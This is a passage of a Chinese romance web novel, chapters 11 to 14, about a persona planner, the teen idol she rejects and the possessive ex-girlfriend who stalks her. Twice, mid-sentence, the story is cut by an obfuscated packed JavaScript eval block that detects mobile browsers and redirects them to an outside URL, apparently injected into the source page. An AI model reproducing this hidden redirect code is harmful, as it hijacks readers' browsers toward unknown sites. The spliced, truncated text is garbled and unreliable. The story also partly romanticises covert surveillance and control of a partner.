【可能是被吞消息了。】安迟叙没多想。这种情况也不是没有过,她以前也被吞过不少消息。 不过,以前她唯一发消息的人会搂着她,听她当面说。 现在消息被吞,不对一下账,根本发现不了。 【也对。小姐姐这两天有空吗?我想最后再和橘子呆几天> 裴昱希要把她的猫猫崽从这个假猫奴手里解救出来! 怎么会有如此冷淡的猫奴,连猫打呼都不懂。 裴昱希在屏幕那边骂骂咧咧。 安迟叙听不见她的心声,更不知道自己在转接消息的时候被动闹出过多少笑话。看裴昱希思猫心切,当然同意。 【今天下午就有空,你来接吧。这个月我可以按天数收费的】安迟叙还答应少拿钱。 裴昱希看着有点感动,默默翻新了下对安迟叙的印象。 虽然她不会照顾猫,但人还不错。 以后可以勉为其难把橘子借给她摸两分钟。 下班时间,安迟叙在沈既白欲言又止的眼神里离开。 她走后,沈既白有些失落的站在原地,头发如淋雨,被打散成一缕一缕的模样。 “要排练了,既白。”队友招呼下,沈既白不得已回首迈步。 她捏紧手机,有了决断。 *** 又是周末。沈既白发来了请客邀请。 安迟叙周五送走了橘子,此刻正一个人对着猫爬架睹物思猫,不情不愿的打开和沈既白的聊天。 沈既白那段视频确实出圈了,经纪人看见了她的潜力,最近给她多安排了好些活动。 沈既白把这件事归功于安迟叙,想请客回报。 安迟叙本来就不该和她带的爱豆私下见面。 更别说,安迟叙怀疑沈既白有话想说。 但也不好推脱。沈既白提了很多次了。 再不答应,这小姑娘就要火起来,她们就真的没法聚餐了。 安迟叙准时到达了沈既白订的包间。 她关上门后五分钟,晏辞微赶到了这个地方,看向包间号。 11. 第 11 章 高考完的暑假,安迟叙住进了晏辞微的公寓。 晏辞微从来没有说过她到底是哪儿的人,哪怕是家长会,也没有人见过她的母亲和妈妈是谁。 一直以来都是晏辞微的小姨来开家长会,高考那一天也是小姨接送。 安迟叙只能悄悄猜测晏辞微和家里人关系不好,正如她和她那两个妈妈一样。 安迟叙因此对她怀有些同病相怜的同情心,喜欢在晏辞微恰到好处流露脆弱时拥抱她,替她在操场坏掉的路灯下抹掉眼角的泪。 不过这几日安迟叙也得到了一个好消息。 她的母亲和妈妈结束了长达十年的争吵,终于签订了离婚协议,正在分财产。 而她很快成年,自然也不需要纠结到底跟谁的问题。 她不需要她们。 安迟叙趴在沙发上望着晏辞微在厨房忙碌的身影。 她眼光波动,把夏日浓烈的阳光晃得明明灭灭,变成全世界最漂亮的身影。 她有晏辞微在就好。 不管晏辞微是什么人。 十八岁的少年天真烂漫,没有考虑过家境的差距究竟会带来怎样的影响。 甚至她没有详细打听过晏辞微是怎样的身份,刚结束奋斗三年的安迟叙,也不懂日安集团继承人的身份有多贵重。 她以为她这辈子都不需要知道这些。 晏辞微是她的童话,带来鲜花马车和魔法杖。 她是童话里幸运的灰姑娘,坐上马车靠上晏辞微的肩膀,十二点的钟声会把烦恼像丢失的水晶鞋一样抛除。 “微微。”那时的安迟叙只要听见晏辞微这个名字就会感到欢喜,住进晏辞微家里这件事,比结束了高考还叫她高兴。 “来吃饭。”晏辞微熟稔的颠勺,把最后一道菜装在盘子里。 “谢谢你~”安迟叙哒哒跑过去,是被养熟了的小猫,喜欢围着主人蹭脑袋。 安迟叙对亲密的理解、研习和模仿,都来自晏辞微。 她也喜欢从背后抱住晏辞微,亲昵的在她耳畔唤她“微微”,再把沾满天竺葵甜苦味的头顶蹭在晏辞微脖颈后边。 “我来端吧。”安迟叙做不了更多,只有一颗喜欢晏辞微的心。 手指触碰到晏辞微的指尖,电流蹿向安迟叙的心。 夜晚躺在一起,安迟叙还能感受到白日的触动。 那是她第一次正视自己的感情。 于朦胧的月色中转身,她窥见身旁依赖三年的姐姐呼吸均匀,睫毛被月的霜色覆盖。 她忽然想碰一碰晏辞微的睫毛,把那冰透的淡色占为己有。 安迟叙一夜未眠。 她想她们是不是童话里的灰姑娘和皇女呢? 一见钟情,情窦初开,顺理成章的表白交往。 可她们相伴三年,未曾有过越界的亲密,安迟叙看不透晏辞微琥珀色的眼,清浅的眼眸总是含了太多情绪。 安迟叙知道晏辞微的好友女朋友都换了几任了。 她们是同龄人,晏辞微如果喜欢自己,会不会早就有所暗示? 也许晏辞微只认为她是她的好朋友。 燥热的夏夜让安迟叙不敢伸出触碰的手。 她在深夜里多了名为自卑的情绪,拖拖沓沓的,直到晏辞微向她展露了更多喜欢,才敢说出那一句喜欢。 而晏辞微等这一句喜欢,已经太久,久到不得不亲自出手,钓着安迟叙走。 *** 安迟叙走进沈既白定的包间。 沈既白比她到的还早,坐立不安的,看见安迟叙走进包间,紧张更甚,咬痛唇瓣。 安迟叙注意到包间角落藏了个礼物盒,桌面上还有几支精挑细选的玫瑰花。 安迟叙在心里叹息一声。 她也是从十六岁的年纪过来的,怎么可能不懂沈既白的心思。 安迟叙佯装没有注意到,调整好微笑,跟沈既白打过招呼。 “安姐姐。”沈既白在片刻的紧张后兴奋起来,眉眼都亮了。 哪怕知道对方可能不会答应,她们差距太大关系特殊,沈既白依旧沉沦。 喜欢便是如此,哪里注意得到那些麻烦,只要看见那一个人,心情便会雀跃。 安迟叙深知这一点。 所以分手后她想,她苦恼的烦忧盖过见到晏辞微的喜悦,那是否表明,她在那时就已经不喜欢晏辞微了呢? 她最清楚喜欢的模样,对它的变质也同等敏锐。 “你还是来了。”沈既白眨过眼,那里藏着一对闪星星。 “你也说,以后不一定有机会了。我信你,肯定要来。”安迟叙坐了下来。 两个人闲聊了一会儿,大部分时候是沈既白说,安迟叙听。 说什么的都有,比如队长和队内成员的恋情八卦。 安迟叙沉默了一阵子。她为她之前觉得裴落尘可爱而尴尬。 她大概不是被裴落尘人设吸引的那一类。 裴落尘的人设出自她们公司最厉害的人设策划师之手。 安迟叙是业内人士,与其好感裴落尘,倒不如好感这位业务能力强大的前辈。 单纯是觉得裴落尘长在她审美点上,因此想要亲近她。 结果人品一言难尽。 安迟叙捧着热茶想,要是她和沈既白今天的对话放出去,那裴落尘才是完蛋了。 刚刚救回来的粉丝又要脱粉了。 点完菜,沈既白吐槽也吐槽的差不多了。 她看向在发呆的安迟叙,悄悄摸到了脚边的礼物盒。 “那个,安姐姐,我有话想说,可以在开始吃饭之前说吗?” 她以低位抬头看向安迟叙,上扬的睫毛带着满溢的喜欢。 “……既白,你考虑清楚。我不会给你你想要的答案的。”安迟叙最后劝了一句。 沈既白执意要说的话,也许她们之后关系会变得很尴尬。 “我,我知道……”沈既白把睫毛收回去。 她没想到安迟叙看得这么清楚。可她也从来没有藏住过心思。 沈既白把手里的礼物递了出去。 空空的餐桌上落着礼物的阴影。 安迟叙看着一块黑一块白的桌布,闭上眼。 而后睁开看向沈既白,轻轻摇头。 “我不能收。”她开口声音几乎于无。 沈既白咬着嘴唇情绪低落下去。 “既白。你还小。”安迟叙叹出声,抬手把礼物叩在桌上,不要沈既白一直拿着。 小姑娘手都在抖。 “你这个年纪,分不清喜欢和孺慕、敬仰、好感、友情。”安迟叙想过很多。 她想到看过的剧和小说,想到听过的故事。 最后她想到了自己。她十六岁的时候,也有人这样牵着她颤抖的手,把她拉进怀里。 那就是喜欢。只是她不想要沈既白执着。 “为什么要分清?”沈既白到底比内敛沉默的安迟叙更敏锐。 安迟叙纠结过的事,沈既白凭借一股冲动冲破。 “即便如此,我也不能接受。”这是残忍的拒绝,安迟叙尽可能放轻自己的语气。 但沈既白还是抖了一下。 安迟叙垂下睫毛,等沈既白去拿水杯。 喝口水吧,会冷静一点的。 服务员打开了包间的门,她们方才点的菜陆续上桌了。 第一道菜端上来之后,沈既白放下水杯,低着头发问。 “我想听听姐姐的理由。” 安迟叙不免出神,平息几秒后才开口。 “我是成年人。比你大了快十岁。既白,你知道这是什么概念吗?” “意味着我比你多走十年路,我见过一个人成长路上的种种琐事。可你还太小,还需要自己摸爬滚打,去理解我早已领悟的痛和道理。” “意味着我比你有经验,不一定是任何事,但至少我经历的更多,更明白这些事该如何处理。” “意味着,我会控制不住的以对你好的名义,把我认定的事施加在你身上。而你年少又真挚,如此喜欢我所以会听话……我会剥夺你自己长大的权力。” 安迟叙的声音一声比一声冷。 好像她说的不是她和沈既白的未来,是她的过去。 “尤其,我们的关系并不寻常。我给你人设,给你该做的事,该说的话。你必须听令于我,无论你想不想。这本身就是一种权力的不对等。哪怕你成年了,我们当真两情相悦,我们都不能以这样的身份开展一段感情。” 假设,安 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她们分手了。 可晏辞微最美好的那一部分永远留在安迟叙体内。 回不去,忘不掉,带来永世折磨。 这就是安迟叙逃不出的沼泽。 “她有钱有权脑子好,长得还漂亮。我不知道她怎么看上我这个丑小鸭。我只知道她慢慢占据了我生活的全部,从衣食住行到我上学就业……” “我成了她掌心的雀鸟。是她的宠物猫。我被她彻底掌控,再也离不开她。” 安迟叙说的不详尽。十年的长度岂是几句话能概括的。 况且,她不想和任何人说她跟晏辞微的事。 无论是出于羞耻心,还是占有欲。 她知道晏辞微没有对另一个人如此过。 正如她们分手后,她也会拒绝别人的暧昧。 她们看似分开,可总有一部分死在对方体内。 个中酸涩,安迟叙连组织成话都做不到,只能囫囵含在口中,等苦味慢慢化开。 “然后我的个性、自我,我可以证明我是我的事物,都死在我走入她掌心的那一天。哪怕到今天也没有恢复。” 安迟叙作了结语。 奇怪的是她眼里并没有悲伤。 沈既白被她短短几句话的故事吸引,好想知道安迟叙曾经经历过什么。 “……所以,被她掌控的感觉很痛苦吗?” 安迟叙会逃跑,她们会分手,这是过去式……这些都证明,被掌控是痛苦的事吧? 沈既白有些青涩的纠结。 她想,就算是痛苦,她也可以忍受啊。 安迟叙转动眼仁,看清沈既白的心思。 真像啊。 “被她掌控的感觉,很好。”安迟叙笑了。 泪蒙了眼眶,很浅一层,游鱼的高光荡漾出苦涩。 沈既白抬头怔怔。 “被她掌控的感觉很好。不需要操心生活、未来,只要她在就好。她就像我的全世界。” 安迟叙的笑容好像尝到世界上最幸福的糖果,她的眼又像未成熟的柠檬被骤雨打碎。 “只是……我想做自己了。”安迟叙收了所有表情。 变成一具淡漠的空壳。没有温柔,坚定,聪慧…… 吸引沈既白的一切都只是安迟叙对晏辞微拙劣的模仿。 没有人会爱真正的她。 安迟叙不失望,只是凝望着沈既白不成熟的眼。 那里有太多混沌的惊讶,慢慢刺痛安迟叙迟钝的心脏。 菜上齐了。 安迟叙想,她该揭开新的篇章了。 “安姐姐。”沈既白却忽然开口,惊得安迟叙佯装淡定的手差点把筷子抖掉。 “你,你的前任……是小晏总吗?”沈既白的话语也在颤抖。 安迟叙险些失态,这才注意到沈既白看的方向。 她心口一抽,猛地回过头。 安迟叙对上那颗猩红的泪痣。 晏辞微站在她身后,穿着服务员的衣服。 摘下了口罩。 12. 第 12 章 安迟叙成年了。 她的母亲和妈妈每个月还会定期给她打几百块的生活费。 如果没有晏辞微,这两份生活费加起来也不够安迟叙一个月的开销。 原本以她的家境和双亲上心程度,她应该留在家乡,或者去往北方,减少经济负担。 熟人和亲戚多,怎么说也能帮衬一下,日后就业方便,出事了也不至于叫天天不灵叫地地不应。 可她毅然决然的跟着晏辞微来到S市,全国消费水平最高的城市之一,物价相当离谱,何况她现在有了女朋友,每周还有些额外花费。 晏辞微把她接回了家里——晏辞微家境太过优渥,去哪儿上学就会在哪儿买套房子。 伙食住宿,甚至水电wifi等费用,晏辞微一分都没让安迟叙出。 真叫安迟叙把那大平层当成了家。 偶尔,晏辞微还会带着安迟叙去逛街,买新衣服的钱晏辞微包了,管那叫礼物。 安迟叙便把所有的积蓄攒来给晏辞微买礼物。 她送晏辞微第一份正经礼物就是一瓶香水。 天竺葵香,她们偶然试用后念念不忘的味道。 心口偶尔会有些浅淡的不适和羞耻。 比起晏辞微,安迟叙真的太穷太穷,一千多一个月的生活费还不够晏辞微一件衣服。 晏辞微宽慰她说,她们都交往了,以后要结婚,会一直一直在一起。 她会把自己的一半分给安迟叙,也会共享安迟叙的一半。 她们是并蒂的纠缠,彼此用对方的爱意作血脉,是童话里的灰姑娘和皇女。纠结钱财做什么? 安迟叙认下晏辞微的话,依旧决定打点零工,给晏辞微送更好的礼物。 晏辞微说安迟叙需要一个新的银行账户,已经预约好她们没有课的时间,要带安迟叙去开户。 “我家长不在的话,没问题吗?”安迟叙坐在晏辞微怀里仰头,是被娇宠的小猫。 “没问题。你是成年人了,我们一起去就好。”其实也许有点问题。 但银行的人认识晏辞微。开户的一切都和晏辞微交代过。 明天的一切都是事先预演过的戏剧。晏辞微不会允许任何差错出现。 她要给安迟叙最顺利的体验。 “况且,顾知荀也在。”顾知荀是晏辞微的好友,比她们大两岁,最近在自家银行实习。 晏辞微讲过许多顾知荀的事。安迟叙认识她就像认识自己的好友。 安迟叙放下心来,一个劲儿的往晏辞微身上拱。 晏辞微用着安迟叙送的香水。微苦的玫瑰味环绕安迟叙的面庞。 安迟叙指尖挠过晏辞微的下巴。她整个人滑倒,就要离开晏辞微的怀抱。 晏辞微垂眸看向安迟叙顽皮的指尖,稍抬手便把她捞回自己的阴影里。 阴影中的晏辞微笑靥温柔,被暗色蒙上一层鬼魅。 那时的安迟叙爱着这份可疑的阴鸷。也爱晏辞微对她锁死的手臂。 无论如何晏辞微都不会放手。 白日校园上课时,晏辞微会悄悄伸出一只手,拉住她亲自为安迟叙挑选的衬裙。 洗漱时晏辞微总会守在朦胧的玻璃旁,隔着雾气弯着眼看向擦香皂的安迟叙。 安迟叙半夜睡迷糊掉下床都会被晏辞微拽回安全区。 当时的安迟叙正需要这样极端的爱来获得安全感。 翌日她乖巧的化作晏辞微身后的尾巴,怯怯跟随她去了银行。 “别怕。到时候填一些信息就好。证件我会给工作人员的。”晏辞微永不松开的手落在安迟叙肩膀上,轻扣着拉她向自己的方向。 身体的天平倒向晏辞微。 安迟叙第一次大胆在公共场合搂住心上人的腰。 胆小的猫儿只敢伸出几根手指,轻贴着晏辞微的风衣,连她的腰身都不敢触碰。 是晏辞微向她靠近,强势的用提着包的手把她的手按下去。 安迟叙碰到了晏辞微的腰。 她们变成一对爱侣,好像共同走向幸福。 安迟叙填表的时候,晏辞微在旁边把她的证件拿出来,递给工作人员。 没有人觉得有什么不对。 安迟叙只有安心感,刚出门时不断膨胀的心跳都平复。 中途顾知荀来了一趟。这是她自家银行,她对好友包养的对象很感兴趣,第一次见安迟叙,目光多停留了一会儿。 安迟叙听说过许多关于顾知荀的事,对她倒是不怕,打量的目光叫安迟叙有些不自在。 晏辞微眉头拧起了。一个眼神扫过去。 顾知荀跟她交锋了两回合的眼神,赶紧举手投降。 “晏大小姐真陷进去了,看得这么紧。”走之前还丢下一句冷讽。 安迟叙被说的有点不舒服,捏住晏辞微的衣角。 “不管她。”晏辞微抽了下嘴角,心里计算着怎么给她这犯贱的朋友找麻烦。 安迟叙被晏辞微安抚,可算顺利办完了银行卡。 她不知道,顾知荀在第二个星期被停了实习。 顾知荀被针对的那一天,安迟叙刚拿到自己远程辅导高中生的第一笔钱,窝在晏辞微怀里给她挑选礼物。 “怎么办,姐姐。”安迟叙眼里洋溢着幸福,哪儿有麻烦的神情。 “没有你,我都不知道该怎么生活了。”她好像真的成为了灰姑娘。她的使命只剩和皇女快乐的生活在一起。 “……我会一直和你在一起的。”晏辞微也许原本想说的不是这句话。 她可以养安迟叙,可以一辈子这么照顾安迟叙。 她只需要安迟叙乖乖呆在她身边,成为她的女朋友,她的妻子。 最终说出口的,变成一句誓言。 她会一直和她在一起。 *** 晏辞微果然一直和安迟叙在一起。 哪怕分开,也不例外。 安迟叙凝望着晏辞微的眼眸。 琥珀色的眼凄凄着,带了丝猩红的光,幽静又诡异。 包间里只有三个人。沈既白在对面瑟瑟发抖的缩着降低存在感,仅剩安迟叙和晏辞微对峙。 今天本就是阴天。梅雨季的S市什么时候下雨都不奇怪。 那股阴郁的暗黄扑在晏辞微脸上,把她一贯素白的脸衬托到惨。 黑白对比,鬼魅的眼更显森寂。 她沉默着站在安迟叙身后,不动也不开口,就连呼吸也在对视中一并消失,仿佛一尊人偶。 安迟叙捏着餐具,长久的投去注视。 眼底没有情绪,空洞得厉害,叫旁观者一时分不清究竟谁才是人偶。 浠沥沥的声音叫她忘却这是两个人,曾经一对纠缠的爱侣,如今藕断丝连着不清不楚。 安迟叙开始呼吸,晏辞微也转动发条,眨眼后眼底蒙了一层泪。 安迟叙收回眼神,佯装没看见晏辞微满是血丝的眼,和掐到发紫的掌心。 视野里一闪而过的红痣,变成摄像头开启后的猩红。 晏辞微不惜真正化作只能在角落藏匿的摄像头,窥探着安迟叙的生活。 安迟叙斩不断一场场梅雨思念,只能无视她。 晏辞微没有动作了。 她保持伫立的姿势站在安迟叙身后,一动不动,凝视着安迟叙。 阴森森的,叫对面坐着的沈既白想立马翻窗逃跑,大雨都拦不住她。 偏偏安迟叙最淡定,还能拿着勺子吃饭,像不知道有个体寒的大活人站在她身后一样。 沈既白有点后悔。 她不知道她是不是给安迟叙带来了麻烦,但她麻烦大了。 晏辞微可是她所在的娱乐公司总部董事长的继承人。一个闹不好,她事业就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908839|176866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到头了。 沈既白颤抖着手,没能忍住恐惧,勺子掉在桌上。 安迟叙也没法再粉饰太平,放下餐具回过头,目光稍微错开晏辞微摄像头一般的眼。 “你打扰到我们了。麻烦你出去一下。”一句话比她眼还冷。 落在地上,变成雨滴带走晏辞微的余热。 晏辞微静默三秒。 垂眸,戴上口罩,转身离开。 包间凝固的氛围终于流动。 沈既白有太多问题想问,看安迟叙沉着脸吃饭,也不好开口,干脆埋头。 之后,晏辞微每五分钟就会进包间倒一次水。 安迟叙没动她倒的水,她就给沈既白倒,搞得沈既白不敢不喝,纯喝水喝撑了。 看她们吃的差不多,晏辞微还端上来一份两个人没有点的甜点。 只给安迟叙一个人。明晃晃的偏心。 送完之后,晏辞微还欠了欠身,活像真资格的女仆。 安迟叙看着眼前的开心果树莓蛋糕,心口叹气。 晏辞微是最能拿捏她的人。只需要一个动作就能轻易瓦解她强撑的淡定。 这是她最喜欢的口味。曾经缠着晏辞微买过很多次。 也……玩过很多次。 在她脸上,在晏辞微心口。 光是看见就能回忆起晏辞微舌头的濡.湿。 安迟叙忍不住打开配套的餐具。 一朵纸折的蝴蝶掉了出来,翩翩坠落。 安迟叙指尖触电般骤缩,心口发疼。 好半晌,才把蝴蝶放在一旁,默默拿起勺子把蛋糕吃掉。 她吃的相当小口,越吃头埋的越低。 是以前的味道。 安迟叙吃下最后一口,放下勺,再也仰不起头,任泪水在眼眶蓄积。 *** “那个,对不起,安姐姐……”沈既白真的被晏辞微吓到了。 哪怕除开晏辞微的身份。她在安迟叙身后如同背后灵一般站立了十分钟,就已经足够把没见过世面的沈既白吓回姥姥家。 更别说她们有明确的上下级关系。晏辞微是能随意处置沈既白的人。 “没事的。喜欢是很正常的感情,不必因为它而自我厌弃。”安迟叙已经调整过来了。 她没有拿那只纸蝴蝶,眼底也没有一片红,仿佛刚才的一滴泪是沈既白的错觉。 “祝你以后遇到合适的人。”安迟叙拍了拍沈既白的肩膀。 这顿饭是她出去付的钱。哪怕沈既白工资和她不是一个量级的,安迟叙也不会让十六岁的小朋友请她吃饭。 只是付款的时候前台告诉她,她那个包间已经有人付过钱了。 安迟叙只能捏着手机回到包间。 “工作也是,抓紧这么好的机会。争取早日把我甩了。”安迟叙收回思绪,笑着宽慰沈既白。 “……我会舍不得的。安姐姐,你能不能也努努力,我们一起升职?”不谈喜欢,安迟叙也是一个很好的策划师。 沈既白不愿回忆上一个人设策划师,和那人的合作让她身心俱疲。 “我当然也会努力,只是不是这个月而已。”安迟叙跟沈既白眨眼。 沈既白情绪明显恢复了不少,跟安迟叙道别,走出了餐厅。 安迟叙望着室外的雨。方才还很大,此刻已经连成细密朦胧的线,小成针。 她摸出包里随身放的伞,等了几分钟后走出餐厅。 工作日的下午没有太多人,餐厅的选址本就僻静。 因此,熟悉的脚步响起时,安迟叙步伐停顿。 那脚步一顿,一响。 叩在安迟叙心上。 分明轻柔,却穿破雨雾,强势的砸进脑髓。 安迟叙扬起头。天幕是混沌的灰。 一颗雨点入她的眼。 晏辞微跟上来了。 13. 第 13 章 雨势不大。 安迟叙微倾伞柄,抬眸看向灰蒙的天色。 压抑的云朵落在她肩膀,沉重的让她抬不起头。 她向前一步,身后传来一声踏步。 晏辞微今天穿了防水的靴子。也不嫌热,结结实实包裹了小腿。 踩在泥泞里,声响清脆。 大概,还靴子上绑着安迟叙曾经送的铃铛。 不到二十岁的安迟叙审美独特又自我,也不顾鞋子响得吵人,执着的把彼此的鞋打扮成同一个模样。 她们都是固执出走的小孩,区别在于晏辞微可以随时回到那个家,而安迟叙直到现在都没有再找到自己的归处。 安迟叙把雨伞低垂,看汇聚的雨帘溪流一样掉在眼前,终究没有回头。 她默许了晏辞微的冒犯,走一步,听一步。 晏辞微走得很慢。没有雨点打在伞上的声音,不爱惜自己的小晏总又在淋热雨。 安迟叙克制着自己把伞递给晏辞微的冲动,调整呼吸到均匀。 慢慢的,她也适应了身后的人。 清脆的步调配上铃铛的泠泠,鬼调一般跟随着安迟叙。 雨中世界只剩她们二人。 安迟叙撑着陈旧的黑伞走在前,划开雨幕的朦胧。 晏辞微阴鸷一张脸跟在黑,任浑身湿透眼底也只有安迟叙随步伐飘逸的碎发。 安迟叙选了地铁。 她本可以打车——今天的约会是晏辞微付的钱,省下一笔刚好用在这一刻。 她依旧,走进熙熙攘攘的人群。 默许,试探,或者期待……安迟叙说不清。 晏辞微的脚步声没有消失。 它变得异常清晰、别致。混在来来往往的人群中竟是那样的明显。 安迟叙能准确分辨出晏辞微的方向,就在她正后方,间隔只有三米。 真是疯了。 安迟叙努力无视它,甚至在过完安检后拿起耳机堵住她异常灵敏的耳朵。 进车厢后,安迟叙被喧嚣淹没,得了片刻清净。 可她知道,就在她三米远的地方,她不想见到的人站在那里。 用猩红的痣点向她的方向。 偏着头,一瞬不瞬的注视着她。 仿佛地铁中拥挤的人群消失。车窗上的倒影只留她们二人的模样。 是安迟叙低着头听晏辞微曾经放给她的音乐。 晏辞微侧着脸,眼中只有安迟叙。 二十分钟的地铁,人来又去,一波换另一波。 晏辞微和安迟叙始终保持着三米的距离,不偏不倚,目光正中安迟叙的太阳穴。 直到她的目光有了重量。像枪械瞄准后警醒的红光,烫得安迟叙不得不寻找掩体躲开。 可车厢里人多拥挤,安迟叙寸步难行。 晏辞微太高,特制的鞋跟再加三厘米,足以在远处,俯视她。 就要被击中了。安迟叙不安闭上眼。 播报声响起。 到站了。 安迟叙呼出一口气,下了车。 她听不见脚步声,却能感受到晏辞微的目光。 她被凝视了太多年,早该习惯。 可那凉透魂魄的目光混着热雨刺在安迟叙背后,她依旧感到些针扎的痛。 地铁站离单元楼十多分钟的路程。安迟叙的心跳缓步加快。 快到几乎不能呼吸时,安迟叙停下了步伐。 这里是她单元楼门口。上次晏辞微送她的地方。 她们也该在这里分别了。 ……寒凉的目光近了。 安迟叙还没有转身,只觉得晏辞微仿佛贴在她身后。 魑魅一般死死的锁住她的灵魂。 一呼,一吸。 带走她身为人的温度,留下鬼魂的冷。 安迟叙一阵鸡皮疙瘩。晏辞微比以前更吓人了。 她转过身,其实晏辞微还在单元楼之外。 三米的距离是设置好的界限,她没有越界。 安迟叙对上晏辞微的眼,看见晏辞微眼底的猩红。 更像鬼了。安迟叙不由得失神。 她眨眼,意思很明显。 护送她的话,到这里就可以了。 晏辞微肯定看得出她的想法。 她们是世界上最了解彼此的人,很多交流不必触碰,开口。 晏辞微凝望着她。 有浓烈的失落,爱交织恨。 再见。 安迟叙的睫毛凝落一滴雨水,沁入眼眶。 晏辞微却抬脚,向前走了一步。 然后是另一步。三米的距离在不断缩小。 安迟叙微怔。 她发现晏辞微的脚步其实没有声音。 比淅淅沥沥的雨点还微弱。铃铛饰品灌满水生了锈,再也不能像从前一样和自己的铃铛鞋共振。 安迟叙垂眸。 晏辞微已经站在她身边了,接过她垂在脚边的伞,一言不发的替她收伞。 两个人一起进了电梯。 安迟叙仰头望着不断跳动的数字,它和晏辞微的痣有一样的红。 晏辞微就在她身边,已经卷好湿漉漉的伞,正把它装入塑料袋里。 沙沙声充满整个电梯厢,把夏日骤雨的闷热提了一成。 安迟叙走向家门口时,晏辞微还跟在她身后。 她终于忍不住开口了。 “你该回去了。”这是她今天对晏辞微说的第二句话。 晏辞微略倾身体,把装好伞的袋子递给安迟叙,双眼有情似无情。“你淋雨了,会感冒的。” 视线对上。安迟叙看见晏辞微湿透的头发、衬衣。 裙摆也黏在腿上,狼狈到竟有一丝优雅。 “你生病了会需要我的照顾。”晏辞微只是因为这么点原因才跟了安迟叙一路。 她自己还淋雨呢。 “我一个人很好。”安迟叙二十五岁了,可以自己照顾自己。 “……为什么不收我的蝴蝶?”晏辞微又转换了话题。 安迟叙默然。 她们都分开了。不再是事事要好的爱侣,甚至算不上无话不谈的朋友。 要她如何收下晏辞微偏执的爱的证明? “我很想你。”晏辞微一贯执着。 微弓的身体不自觉紧绷,抓着衣角的手掐紧掌心。 安迟叙叹息一声。“我知道。” 她早知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晏辞微却和额头异常的温度一样,流淌过安迟叙的血液。 她一直都在。 安迟叙提早回到家,按着昏沉的头,连做饭的力气都没有,想要去烧水,路都走不动。 她跌倒在床边,撑着地板看汗滚落在地上,如同一场骤雨。 安迟叙拿出手机。 她输入最熟悉的号码,唯一背过,却不怎么拨打过的号码。 高一之后,安迟叙就没有朋友了。 聊得来的同学总会在几个月后和她淡了关系。 直到现在,她依旧只有那一个人。 她的朋友,她的姐姐,她的监护人。 她的爱人,晏辞微。 安迟叙没能拨通这个电话。 手机摔在地上,安迟叙倒下去时,看见屏幕上的号码,无力按下拨通键。 14. 第 14 章 安迟叙第一次离开她衰败的家,是在16岁。 那个寒假晏辞微邀请她一起度过。 她们可以住在一起,一起做饭、买菜、洒扫,度过每一天。 甚至把春节也过完。 晏辞微说她不回家。安迟叙望着她强装淡定的神情,眼底的决绝,心领神会。 她们似乎一样。都是有家无法归的孩子,肉.体在外漂泊,心不知所踪。 安迟叙握住晏辞微递来的手。 她们在最后一门考完的当天,手牵手飞奔进了晏辞微的家。 这是安迟叙第二次到晏辞微家做客。这次她们要共度三十五个夜晚。 晏辞微的家有客房,安迟叙没有执拗的和晏辞微睡在一起。 “那晚安咯。明天早上我来叫你。”晏辞微也没有多求,棉绒的睡衣把她从头裹到脚,看起来暖烘烘的。 她站在走廊上背对客厅的光,眼眸反射的亮还不如眼底的红痣显眼。 彼时安迟叙矮她半个头,扬起脸,一如第一次被她带回家那样望着她。 对着光的眼零零碎碎荡漾着波纹,眨动时带出小猫独特的忠诚。 内敛又深沉,自傲藏着自卑,不仔细看绝对分辨不出。 可就算粗略扫过,也能感受到浓烈的感情。 也许是爱。 晏辞微朝安迟叙迈出一步。 她养的小猫跟她回家了,穿她的衣服,睡她的床。 爱着她,用眼神挽留她们的分别。 她的手落在安迟叙头顶。沐浴后的湿漉沾满晏辞微的掌心。 主卧的房门关上。安迟叙在原地愣了好一会儿,匆匆追上前,在晏辞微门口徘徊,又咬牙离去。 睡在一起会打扰她的。 安迟叙抱着晏辞微给她准备的小猫抱枕,悄悄把客卧的房门留了一条缝。 半夜有隐约的光落入客卧。 熟睡的安迟叙没有察觉光亮中猩红的凝视。 …… 春节快到了。 晏辞微在列采购清单。安迟叙按着她记忆里为数不多的温暖,给清单添加上熟悉的东西,她想剪窗花,以前一家人感情还好的时候,就会带着她剪。 她们一起在一起住了一周。这一周安迟叙睡的比过去任何一周都安稳。 她不必担心突如其来的争吵,噼里啪啦的扭打,或者学校宿舍宿管的踱步,室友的梦话呼噜和恶作剧。 是她睡得太沉,不知道晏辞微每晚都来。 哪怕只是静静站在门口,用她特地留下,却只有一厘米宽的缝窥视。 一起折窗花的时候,安迟叙也没有察觉到晏辞微不时投来的注视。 也许她终于习惯了。晏辞微观察着安迟叙的改变,计算她该什么时候进行下一步。 “你会折蝴蝶吗?”晏辞微面上不显,只是照旧进行她圈养小猫的生活。 今天要教小猫折窗花。她突发奇想换成了蝴蝶,那是她唯一会折的花。 安迟叙摇头,不大有兴趣,却还是直勾勾的望着晏辞微。她上扬的心情只是因为晏辞微,和事无关。 而安迟叙的电话响了。 那时还是老式翻盖机。安迟叙家里不会给她买更好的手机,她想要玩触屏游戏,都得贴在晏辞微身后安静的看好一会儿,直到晏辞微主动开口邀请她一起。 安迟叙的手机号除了晏辞微,也只有家里人知道。 晏辞微捏住安迟叙的手腕。 她比安迟叙的反应更快,不赞同的眼神暴露她已有猜测。 她们互相偷看了这么多次,难得对上视线。 安迟叙知道这是她母亲打来的电话,应激反应即刻爆发。 她瞳孔骤缩,心脏拧紧,呼吸不敢放肆。 她该怎么办?接通还是无视? 她只能拜托照顾她的主人,拜托晏辞微帮帮她。 “……蝴蝶不折了?”晏辞微想,如果安迟叙有那么再意她,就不该因为这一通电话而纠结。 